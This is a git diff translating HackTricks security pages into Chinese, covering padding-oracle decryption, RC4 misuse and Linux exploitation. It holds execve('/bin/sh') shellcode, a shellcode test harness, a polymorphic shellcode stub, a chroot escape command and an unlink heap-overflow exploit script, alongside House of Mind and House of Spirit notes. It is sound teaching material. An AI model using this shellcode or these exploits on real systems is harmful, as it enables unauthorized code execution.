-So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
+因此,找到E'7后,可以**计算I15**:`I15 = 0x01 ^ E'7`
-Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
+这使我们能够**计算C15**:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
-Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
+知道**C15**后,现在可以**计算C14**,但这次是通过暴力破解填充`\x02\x02`。
-This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\
-Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
+这个暴力破解与之前的复杂度相同,因为可以计算出值为0x02的`E''15`:`E''7 = \x02 ^ I15`,因此只需找到生成**`C14`等于`0x02`的**`E'14`。\
+然后,按照相同的步骤解密C14:**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
-**Follow this chain until you decrypt the whole encrypted text.**
+**按照这个链条,直到您解密整个加密文本。**
-## Detection of the vulnerability
+## 漏洞检测
-Register and account and log in with this account .\
-If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
+注册一个账户并使用该账户登录。\
+如果您**多次登录**并始终获得**相同的cookie**,那么应用程序中可能**存在问题**。每次登录时**返回的cookie应该是唯一的**。如果cookie**总是**相同的,它可能始终有效,并且**无法使其失效**。
-Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.\
-But if you BF the padding (using padbuster for example) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.
+现在,如果您尝试**修改**该**cookie**,您会看到应用程序返回一个**错误**。\
+但是,如果您暴力破解填充(例如使用padbuster),您可以获得另一个有效的cookie,适用于不同的用户。这个场景很可能对padbuster存在漏洞。
-## References
+## 参考
- [https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)
-{% embed url="https://websec.nl/" %}
-
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/cryptography/rc4-encrypt-and-decrypt.md b/src/cryptography/rc4-encrypt-and-decrypt.md
index dc89fa296..da841ca5b 100644
--- a/src/cryptography/rc4-encrypt-and-decrypt.md
+++ b/src/cryptography/rc4-encrypt-and-decrypt.md
@@ -1,8 +1,8 @@
{{#include ../banners/hacktricks-training.md}}
-If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function.
+如果你能以某种方式使用 RC4 加密明文,你可以仅使用加密函数解密任何使用相同密码加密的内容。
-If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine:
+如果你能加密已知的明文,你也可以提取密码。更多参考资料可以在 HTB Kryptos 机器中找到:
{% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %}
diff --git a/src/emails-vulns.md b/src/emails-vulns.md
index 15d9cc343..238ffc3b1 100644
--- a/src/emails-vulns.md
+++ b/src/emails-vulns.md
@@ -1,4 +1,4 @@
-# Emails Vulnerabilities
+# 邮件漏洞
{{#include ./banners/hacktricks-training.md}}
@@ -7,4 +7,3 @@
##
{{#include ./banners/hacktricks-training.md}}
-
diff --git a/src/exploiting/linux-exploiting-basic-esp/README.md b/src/exploiting/linux-exploiting-basic-esp/README.md
index b0feaf1a9..75de77bd0 100644
--- a/src/exploiting/linux-exploiting-basic-esp/README.md
+++ b/src/exploiting/linux-exploiting-basic-esp/README.md
@@ -4,39 +4,36 @@
## **2.SHELLCODE**
-Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
+查看内核中断: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR_execve 11\
exit(0); // \_\_NR_exit 1
-xor eax, eax ; limpiamos eax\
-xor ebx, ebx ; ebx = 0 pues no hay argumento que pasar\
+xor eax, eax ; 清空 eax\
+xor ebx, ebx ; ebx = 0 因为没有参数要传\
mov al, 0x01 ; eax = 1 —> \_\_NR_exit 1\
-int 0x80 ; Ejecutar syscall
+int 0x80 ; 执行系统调用
-**nasm -f elf assembly.asm** —> Nos devuelve un .o\
-**ld assembly.o -o shellcodeout** —> Nos da un ejecutable formado por el código ensamblador y podemos sacar los opcodes con **objdump**\
-**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes
-
-**Comprobar que la shellcode funciona**
+**nasm -f elf assembly.asm** —> 返回一个 .o 文件\
+**ld assembly.o -o shellcodeout** —> 生成一个由汇编代码组成的可执行文件,并可以使用 **objdump** 提取操作码\
+**objdump -d -Mintel ./shellcodeout** —> 查看它确实是我们的 shellcode 并提取 OpCodes
+**检查 shellcode 是否有效**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
- void (*fp) (void);
- fp = (void *)shellcode;
- fp();
+void (*fp) (void);
+fp = (void *)shellcode;
+fp();
}
```
+为了查看系统调用是否正确执行,需要编译上述程序,并且系统调用应出现在 **strace ./PROGRAMA_COMPILADO**
-Para ver que las llamadas al sistema se realizan correctamente se debe compilar el programa anterior y las llamadas del sistema deben aparecer en **strace ./PROGRAMA_COMPILADO**
-
-A la hora de crear shellcodes se puede realizar un truco. La primera instrucción es un jump a un call. El call llama al código original y además mete en el stack el EIP. Después de la instrucción call hemos metido el string que necesitásemos, por lo que con ese EIP podemos señalar al string y además continuar ejecutando el código.
-
-EJ **TRUCO (/bin/sh)**:
+在创建 shellcodes 时,可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码,并将 EIP 放入栈中。在调用指令之后,我们放入所需的字符串,因此通过这个 EIP,我们可以指向字符串并继续执行代码。
+EJ **技巧 (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
@@ -56,9 +53,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar
```
-
-**EJ usando el Stack(/bin/sh):**
-
+**EJ 使用 Stack(/bin/sh):**
```
section .text
global _start
@@ -79,54 +74,49 @@ mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
-
**EJ FNSTENV:**
-
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
-
**Egg Huter:**
-Consiste en un pequeño código que recorre las páginas de memoria asociadas a un proceso en busca de la shellcode ahi guardada (busca alguna firma puesta en la shellcode). Útil en los casos en los que solo se tiene un pequeño espacio para inyectar código.
+由一小段代码组成,该代码遍历与进程关联的内存页面,以寻找存储在其中的 shellcode(查找 shellcode 中的某个签名)。在仅有小空间注入代码的情况下非常有用。
**Shellcodes polimórficos**
-Consisten el shells cifradas que tienen un pequeño códigos que las descifran y saltan a él, usando el truco de Call-Pop este sería un **ejemplo cifrado cesar**:
-
+由加密的 shells 组成,这些 shells 具有一小段代码用于解密并跳转到它,使用 Call-Pop 技巧,这将是一个 **ejemplo cifrado cesar**:
```
global _start
_start:
- jmp short magic
+jmp short magic
init:
- pop esi
- xor ecx, ecx
- mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
+pop esi
+xor ecx, ecx
+mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
- sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
- sub cl, 1
- jnz desc
- jmp short sc
+sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
+sub cl, 1
+jnz desc
+jmp short sc
magic:
- call init
+call init
sc:
- ;Aquí va el shellcode
+;Aquí va el shellcode
```
+## **5.补充方法**
-## **5.Métodos complementarios**
+**Murat技术**
-**Técnica de Murat**
+在linux中,所有程序的映射从0xbfffffff开始。
-En linux todos los progamas se mapean comenzando en 0xbfffffff
+通过观察linux中新进程的堆栈构建方式,可以开发一个利用程序,使得程序在一个唯一变量为shellcode的环境中启动。这个地址可以计算为:addr = 0xbfffffff - 4 - strlen(完整可执行文件名) - strlen(shellcode)
-Viendo como se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE_ejecutable_completo) - strlen(shellcode)
+这样就可以简单地获得包含shellcode的环境变量的地址。
-De esta forma se obtendría de forma sensilla la dirección donde está la variable de entorno con la shellcode.
-
-Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen
+这得益于execle函数允许创建一个只包含所需环境变量的环境。
##
@@ -138,126 +128,126 @@ Esto se puede hacer gracias a que la función execle permite crear un entorno qu
###
-### **Format Strings to Buffer Overflows**
+### **格式字符串导致缓冲区溢出**
-Tthe **sprintf moves** a formatted string **to** a **variable.** Therefore, you could abuse the **formatting** of a string to cause a **buffer overflow in the variable** where the content is copied to.\
-For example, the payload `%.44xAAAA` will **write 44B+"AAAA" in the variable**, which may cause a buffer overflow.
+**sprintf**将格式化字符串**移动**到**变量**中。因此,您可以滥用字符串的**格式**来导致**变量中的缓冲区溢出**。\
+例如,负载`%.44xAAAA`将**在变量中写入44B+"AAAA"**,这可能导致缓冲区溢出。
-### **\_\_atexit Structures**
+### **\_\_atexit结构**
> [!CAUTION]
-> Nowadays is very **weird to exploit this**.
+> 现在利用这个是非常**奇怪的**。
-**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
-If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
-Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
-The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
+**`atexit()`**是一个函数,**其他函数作为参数传递给它**。这些**函数**将在执行**`exit()`**或**main**的**返回**时被**执行**。\
+如果您可以**修改**这些**函数**的**地址**以指向shellcode,例如,您将**获得对**该**进程的控制**,但这目前更复杂。\
+目前要执行的**函数地址**被**隐藏**在多个结构后面,最终指向的地址不是函数的地址,而是**用XOR加密**和用**随机密钥**进行位移。因此,目前这个攻击向量在x86和x64_86上**不是很有用**。\
+**加密函数**是**`PTR_MANGLE`**。**其他架构**如m68k、mips32、mips64、aarch64、arm、hppa...**不实现加密**函数,因为它**返回与输入相同**。因此,这些架构可以通过这个向量进行攻击。
### **setjmp() & longjmp()**
> [!CAUTION]
-> Nowadays is very **weird to exploit this**.
+> 现在利用这个是非常**奇怪的**。
-**`Setjmp()`** allows to **save** the **context** (the registers)\
-**`longjmp()`** allows to **restore** the **context**.\
-The **saved registers** are: `EBX, ESI, EDI, ESP, EIP, EBP`\
-What happens is that EIP and ESP are passed by the **`PTR_MANGLE`** function, so the **architecture vulnerable to this attack are the same as above**.\
-They are useful for error recovery or interrupts.\
-However, from what I have read, the other registers are not protected, **so if there is a `call ebx`, `call esi` or `call edi`** inside the function being called, control can be taken over. Or you could also modify EBP to modify the ESP.
+**`setjmp()`**允许**保存****上下文**(寄存器)\
+**`longjmp()`**允许**恢复****上下文**。\
+**保存的寄存器**是:`EBX, ESI, EDI, ESP, EIP, EBP`\
+发生的情况是EIP和ESP通过**`PTR_MANGLE`**函数传递,因此**易受此攻击的架构与上述相同**。\
+它们对于错误恢复或中断很有用。\
+然而,根据我所读到的,其他寄存器没有受到保护,**因此如果在被调用的函数内部有`call ebx`、`call esi`或`call edi`**,则可以控制。或者您也可以修改EBP以修改ESP。
-**VTable y VPTR en C++**
+**C++中的VTable和VPTR**
-Each class has a **Vtable** which is an array of **pointers to methods**.
+每个类都有一个**Vtable**,它是一个**指向方法的指针数组**。
-Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof its class. The VPtr is part of the header of each object, so if an **overwrite** of the **VPtr** is achieved it could be **modified** to **point** to a dummy method so that executing a function would go to the shellcode.
+每个**类**的对象都有一个**VPtr**,它是指向其类数组的**指针**。VPtr是每个对象的头部的一部分,因此如果实现了**VPtr的覆盖**,则可以**修改**为**指向**一个虚拟方法,以便执行一个函数将转到shellcode。
-## **Medidas preventivas y evasiones**
+## **预防措施和规避**
###
-**Reemplazo de Libsafe**
+**Libsafe替换**
-Se activa con: LD_PRELOAD=/lib/libsafe.so.2\
-o\
+通过以下方式激活:LD_PRELOAD=/lib/libsafe.so.2\
+或\
“/lib/libsave.so.2” > /etc/ld.so.preload
-Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD_PRELOAD no sirve en binarios con suid).
+它拦截对某些不安全函数的调用,替换为安全的函数。没有标准化。(仅适用于x86,不适用于使用-fomit-frame-pointer的编译,不适用于静态编译,并非所有易受攻击的函数都变得安全,LD_PRELOAD在具有suid的二进制文件中无效)。
-**ASCII Armored Address Space**
+**ASCII装甲地址空间**
-Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian.
+它涉及将共享库加载到0x00000000到0x00ffffff之间,以确保始终有一个字节0x00。然而,这实际上几乎无法阻止任何攻击,尤其是在小端模式下。
**ret2plt**
-Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system()
+它涉及执行ROP,以便调用strcpy@plt(来自plt)并指向GOT的入口,并将要调用的函数的第一个字节复制到那里(system())。接下来,做同样的事情,指向GOT+1并复制system()的第二个字节……最后调用保存在GOT中的地址,这将是system()。
-**Jaulas con chroot()**
+**使用chroot()的监狱**
-debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
+debootstrap -arch=i386 hardy /home/user —> 在特定子目录下安装基本系统
-Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
+管理员可以通过以下方式退出这些监狱:mkdir foo; chroot foo; cd ..
-**Instrumentación de código**
+**代码插装**
-Valgrind —> Busca errores\
+Valgrind —> 查找错误\
Memcheck\
-RAD (Return Address Defender)\
+RAD(返回地址防御者)\
Insure++
-## **8 Heap Overflows: Exploits básicos**
+## **8 堆溢出:基本利用**
-**Trozo asignado**
+**分配块**
prev_size |\
-size | —Cabecera\
-\*mem | Datos
+size | —头部\
+\*mem | 数据
-**Trozo libre**
+**空闲块**
prev_size |\
size |\
-\*fd | Ptr forward chunk\
-\*bk | Ptr back chunk —Cabecera\
-\*mem | Datos
+\*fd | 前向块指针\
+\*bk | 后向块指针 —头部\
+\*mem | 数据
-Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
+空闲块在一个双向链表(bin)中,且不能有两个空闲块相邻(会合并)。
-En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
+在“size”中有位表示:如果前一个块正在使用,如果块是通过mmap()分配的,以及块是否属于主arena。
-Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
+如果释放一个块时,任何相邻块是空闲的,这些块将通过宏unlink()合并,并将新的更大的块传递给frontlink()以插入适当的bin。
unlink(){\
-BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\
-FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\
-FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\
-BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\
+BK = P->bk; —> 新块的BK是之前空闲块的BK\
+FD = P->fd; —> 新块的FD是之前空闲块的FD\
+FD->bk = BK; —> 下一个块的BK指向新块\
+BK->fd = FD; —> 上一个块的FD指向新块\
}
-Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
+因此,如果我们能够将P->bk修改为shellcode的地址,并将P->fd修改为GOT或DTORS的入口地址减去12,则可以实现:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor_end\_\_ - 12) + 12) = \&shellcode
-Y así se se ejecuta al salir del programa la shellcode.
+这样在程序退出时将执行shellcode。
-Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto:
+此外,unlink()的第4条语句写入某些内容,shellcode必须为此进行修复:
-BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
+BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor_end\_\_ - 12) —> 这将导致从shellcode的第8个字节开始写入4个字节,因此shellcode的第一条指令必须是一个jmp,以跳过这一部分并落入一些nops中,继续执行其余的shellcode。
-Por lo tanto el exploit se crea:
+因此,利用程序的创建如下:
-En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
+在buffer1中放入shellcode,从jmp开始,以便落入nops或其余的shellcode。
-Después de la shell code metemos relleno hasta llegar al campo prev_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
+在shellcode之后填充,直到到达下一个块的prev_size和size字段。在这些位置放入0xfffffff0(以便覆盖prev_size,使其具有表示空闲的位)和“-4”(0xfffffffc)在size中(以便当检查第三个块时,如果第二个块实际上是空闲的,它将转到修改后的prev_size,告诉它是空闲的)-> 这样,当free()检查时,它将转到第三个块的size,但实际上将转到第二个块-4,并认为第二个块是空闲的。然后将调用**unlink()**。
-Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
+调用unlink()时,将使用第二个块的前几个数据作为P->fd,因此将放入要覆盖的地址-12(因为在FD->bk中将加12到存储在FD中的地址)。在该地址中,将放入第二个块中找到的地址,我们希望它是指向shellcode的地址(伪造的P->bk)。
**from struct import \***
**import os**
-**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
+**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12字节填充**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
@@ -265,73 +255,73 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
-**prev_size = pack("\ Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
+p = mem2chunk(mem); —> 返回指向块开始的地址的指针(mem-8)
…
@@ -351,11 +341,11 @@ ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->a
}
-En \[1] comprueba el campo size el bit NON_MAIN_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap_for_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar_ptr (como si fuese un struct heap_info)
+在\[1]中检查size字段的NON_MAIN_ARENA位,可以更改以使检查返回true并执行heap_for_ptr(),该函数对“mem”进行与运算,将2.5个最不重要的字节置为0(在我们的情况下,从0x0804a000变为0x08000000),并访问0x08000000->ar_ptr(就像是一个struct heap_info)。
-De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap_for_ptr(ptr)->ar_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar_ptr)
+通过这种方式,如果我们可以控制一个块,例如在0x0804a000,并且将释放一个块在**0x081002a0**,我们可以到达地址0x08100000并写入我们想要的内容,例如**0x0804a000**。当第二个块被释放时,将发现heap_for_ptr(ptr)->ar_ptr返回我们在0x08100000中写入的内容(因为对0x081002a0应用了之前看到的与运算,从中提取前4个字节的值,即ar_ptr)。
-De esta forma se llama a \_int_free(ar_ptr, mem), es decir, **\_int_free(0x0804a000, 0x081002a0)**\
+通过这种方式调用\_int_free(ar_ptr, mem),即**\_int_free(0x0804a000, 0x081002a0)**\
**\_int_free(mstate av, Void_t\* mem){**\
…\
bck = unsorted_chunks(av);\
@@ -367,36 +357,36 @@ fwd->bk = p;
..}
-Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
+正如我们之前看到的,我们可以控制av的值,因为这是我们在将要释放的块中写入的内容。
-Tal y como se define unsorted_chunks, sabemos que:\
+根据unsorted_chunks的定义,我们知道:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
-Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR_END\_\_ la dirección del segundo trozo.
+因此,如果在av->bins\[2]中写入\_\_DTOR_END\_\_-12的值,在最后一条指令中将写入\_\_DTOR_END\_\_的地址。
-Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR_END\_\_-12 porque de ahí la sacará av->bins\[2]
+也就是说,在第一个块的开头多次放入\_\_DTOR_END\_\_-12的地址,因为av->bins\[2]将从那里获取。
-En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap_for_ptr() piense que el ar_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
+在最后5个零的第二个块的地址中,需要写入指向第一个块的地址,以便heap_for_ptr()认为ar_ptr位于第一个块的开头,并从中提取av->bins\[2]。
-En el segundo trozo y gracias al primero sobreescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA
+在第二个块中,借助第一个块,我们将prev_size覆盖为一个跳转0x0c,并将size设置为某个值以激活-> NON_MAIN_ARENA。
-A continuación en el trozo 2 ponemos un montón de nops y finalmente la shellcode
+接下来,在块2中放入一堆nops,最后是shellcode。
-De esta forma se llamará a \_int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en \_\_DTOR_END\_\_ la dirección del prev_size del TROZO2 el cual saltará a la shellcode.
+通过这种方式,将调用\_int_free(TROZO1, TROZO2),并按照指示在\_\_DTOR_END\_\_中写入第二个块的prev_size地址,该地址将跳转到shellcode。
-Para aplicar esta técnica hace falta que se cumplan algunos requerimientos más que complican un poco más el payload.
+要应用此技术,还需要满足一些额外的要求,这使得负载更加复杂。
-Esta técnica ya no es aplicable pues se aplicó casi el mismo parche que para unlink. Se comparan si el nuevo sitio al que se apunta también le está apuntando a él.
+此技术不再适用,因为对unlink应用了几乎相同的补丁。它们比较新的指针是否也指向自己。
-**Fastbin**
+**快速bin**
-Es una variante de The house of mind
+这是心灵之家的一个变体。
-nos interesa llegar a ejecutar el siguiente código al cuál se llega pasada la primera comprobación de la función \_int_free()
+我们希望在通过\_int_free()的第一次检查后执行以下代码:
-fb = &(av->fastbins\[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2
+fb = &(av->fastbins\[fastbin_index(size)] —> 其中fastbin_index(sz) —> (sz >> 3) - 2
…
@@ -404,61 +394,61 @@ p->fd = \*fb
\*fb = p
-De esta forma si se pone en “fb” da dirección de una función en la GOT, en esta dirección se pondrá la dirección al trozo sobrescrito. Para esto será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente que av->max_fast esté en la dirección que vamos a sobreescribir.
+通过这种方式,如果在“fb”中放入指向GOT中某个函数的地址,则将在该地址中放入指向被覆盖块的地址。为此,arena必须接近dtors的地址。更确切地说,av->max_fast必须在我们要覆盖的地址中。
-Dado que con The House of Mind se vio que nosotros controlábamos la posición del av.
+由于在心灵之家中,我们看到我们控制了av的位置。
-Entones si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins\[-1], que apuntará a av->max_fast
+因此,如果在size字段中放入8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index()将返回fastbins\[-1],这将指向av->max_fast。
-En este caso av->max_fast será la dirección que se sobrescrita (no a la que apunte, sino esa posición será la que se sobrescrita).
+在这种情况下,av->max_fast将是要被覆盖的地址(而不是指向的地址,而是该位置将被覆盖)。
-Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 8, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops).
+此外,必须满足释放的相邻块必须大于8的条件-> 由于我们说释放的块的size为8,因此在这个伪造的块中只需放入大于8的size(因为shellcode将放在释放的块中,因此在开头需要放入一个jmp,跳转到nops)。
-Además, ese mismo trozo falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá.
+此外,该伪造块必须小于av->system_mem。av->system_mem位于更高1848字节的位置。
-Por culpa de los nulos de \_DTOR_END\_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirven para ser sobrescritas, así que veamos como aplicar fastbin para atacar la pila.
+由于\_DTOR_END\_的零和GOT中可用地址的稀缺,这些部分中的任何地址都无法被覆盖,因此让我们看看如何应用快速bin来攻击堆栈。
-Otra forma de ataque es redirigir el **av** hacia la pila.
+另一种攻击方式是将**av**重定向到堆栈。
-Si modificamos el size para que de 16 en vez de 8 entonces: fastbin_index() nos devolverá fastbins\[0] y podemos hacer uso de esto para sobreescribir la pila.
+如果我们将size修改为16而不是8,则:fastbin_index()将返回fastbins\[0],我们可以利用这一点来覆盖堆栈。
-Para esto no debe haber ningún canary ni valores raros en la pila, de hecho tenemos que encontrarnos en esta: 4bytes nulos + EBP + RET
+为此,堆栈中不能有任何canary或奇怪的值,实际上我们必须处于:4个零字节 + EBP + RET
-Los 4 bytes nulo se necesitan que el **av** estará a esta dirección y el primero elemento de un **av** es el mutexe que tiene que valer 0.
+需要4个零字节,以确保**av**位于该地址,并且**av**的第一个元素是必须为0的互斥体。
-El **av->max_fast** será el EBP y será un valor que nos servirá para saltarnos las restricciones.
+**av->max_fast**将是EBP,并且将是一个值,帮助我们跳过限制。
-En el **av->fastbins\[0]** se sobreescribirá con la dirección de **p** y será el RET, así se saltará a la shellcode.
+在**av->fastbins\[0]**中将被覆盖为**p**的地址,并将是RET,这样将跳转到shellcode。
-Además, en **av->system_mem** (1484bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza.
+此外,在**av->system_mem**(在堆栈位置上方1484字节)将有足够的垃圾,允许我们跳过进行的检查。
-Además se tiene que cumplir que el trozo contiguo al liberado debe ser mayor que 8 -> Dado que hemos dicho que el size del trozo liberado es 16, en este trozo falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el trozo liberado, habrá que poner al ppio un jmp que caiga en nops que van después del campo size del nuevo trozo falso).
+此外,必须满足释放的相邻块必须大于8的条件-> 由于我们说释放的块的size为16,因此在这个伪造的块中只需放入大于8的size(因为shellcode将放在释放的块中,因此在开头需要放入一个jmp,跳转到nops,位于新伪造块的size字段之后)。
-**The House of Spirit**
+**精神之家**
-En este caso buscamos tener un puntero a un malloc que pueda ser alterable por el atacante (por ej, que el puntero esté en el stack debajo de un posible overflow a una variable).
+在这种情况下,我们希望拥有一个可以被攻击者修改的malloc指针(例如,指针位于可能溢出的变量下方的堆栈中)。
-Así, podríamos hacer que este puntero apuntase a donde fuese. Sin embargo, no cualquier sitio es válido, el tamaño del trozo falseado debe ser menor que av->max_fast y más específicamente igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del trozo falso debe ser igual a 48.
+这样,我们可以使该指针指向任何地方。然而,并非所有位置都是有效的,伪造块的大小必须小于av->max_fast,更具体地说,必须等于未来malloc()调用中请求的大小+8。因此,如果我们知道在此可变指针后会调用malloc(40),则伪造块的大小必须等于48。
